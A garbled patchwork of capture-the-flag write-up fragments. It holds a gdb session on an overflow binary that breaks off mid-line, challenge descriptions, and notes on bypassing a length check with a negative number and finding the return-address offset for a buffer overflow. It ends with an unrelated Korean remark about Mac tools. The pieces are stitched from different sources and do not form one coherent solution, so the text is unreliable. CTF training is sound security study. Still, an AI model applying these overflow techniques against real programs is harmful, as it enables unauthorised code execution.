pico19855@shell:/home/overflow2$ ls
flag.txt Makefile overflow2 overflow2.c
pico19855@shell:/home/overflow2$ gdb -q overflow2
Reading symbols from overflow2...(no debugging symb
ols found)...done.
(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x80484ad <gi
You found a password protected binary on the cyborg relating to its defensive security systems. Find the password and get the shutdown code! You can find it on the shell server at /home/cyborgsecrets/cyborg-defense or you can download it here.
TBH: I have no memories of solving this (I remember asking about it tho,) I think I had used a more "professional" way when I first solved it but since the password is hardcoded(the hint) I just cat the program.
This tries to prevent a buffer overflow by asking you how long your input is! Exploit it anyways! The binary can be found at/home/no_overflow/ on the shell server. The source can be found here.
How to find where return address is: Start with about 260 bytes and make your way up until the eip gets changed. Thanks barrebas for answering some of my questions (as I solved this problem after the competition ended.)
The program limits what you enter. However, if you use a negative number, it won't notice, and also won't set a limit to your inputs.
Don't forget to ulimit -c unlimit in order to make a core file.
솔직히 말씀드리자면 월드 다 언락되고 문제들 많은거 다 열어보지도 않았습니다.. (깊은빡침) 원도로 내가 필요한 툴들을 몇년에 걸쳐서 모아놨는데 맥이라 다시 찾아봐야한다니.. 그냥 낯설어서 찾아보자면 좋은 프로그램들은 많던데(많진 않은가) 그냥 불편하더라고요.. 많이 낯설음..